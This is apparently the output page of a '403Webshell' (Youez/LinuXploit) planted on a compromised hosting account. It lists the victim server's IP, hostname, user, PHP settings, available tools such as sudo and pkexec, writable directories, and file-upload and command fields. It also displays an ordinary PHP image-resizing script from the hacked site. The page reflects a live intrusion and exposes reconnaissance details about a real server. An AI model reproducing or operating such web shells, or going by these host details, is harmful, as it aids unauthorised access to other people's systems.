403Webshell
Server IP : 104.21.17.213  /  Your IP : 216.73.217.141
Web Server : Apache
System : Linux hosting01.arsenalhost.com 4.18.0-425.13.1.lve.el8.x86_64 #1 SMP Mon Feb 27 15:23:24 EST 2023 x86_64
User : corbizre ( 1013)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/corbizre/gotofindhomes.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/corbizre/gotofindhomes.com/test2.php
<?php
$myimage = resizeImage('http://www.corbizrealestate.com/images/upload2/RI/02917/09001005103100/4.jpg', '140', '105');
imagejpeg($myimage,"/home/corbizrealestate/public_html/images/upload2/RI/02917/09001005103100/4-140x105.jpg");
//print $myimage;

function resizeImage($filename, $max_width, $max_height)
{
	list($orig_width, $orig_height) = getimagesize($filename);

	$width = $orig_width;
	$height = $orig_height;

	# taller
	if ($height > $max_height) {
		$width = ($max_height / $height) * $width;
		$height = $max_height;
	}

	# wider
	if ($width > $max_width) {
		$height = ($max_width / $width) * $height;
		$width = $max_width;
	}

	$image_p = imagecreatetruecolor($width, $height);


	switch(substr($filename,strrpos($filename,".")+1))
	{
		case 'png':
			$iTmp = imagecreatefrompng($filename);
			break;
		case 'gif':
			$iTmp = imagecreatefromgif($filename);
			break;
		case 'jpeg':
		case 'jpg':
			$iTmp = imagecreatefromjpeg($filename);
			break;
	}

	imagecopyresampled($image_p, $iTmp, 0, 0, 0, 0,$width, $height, $orig_width, $orig_height);

	return $image_p;
}

Youez - 2016 - github.com/yon3zu
LinuXploit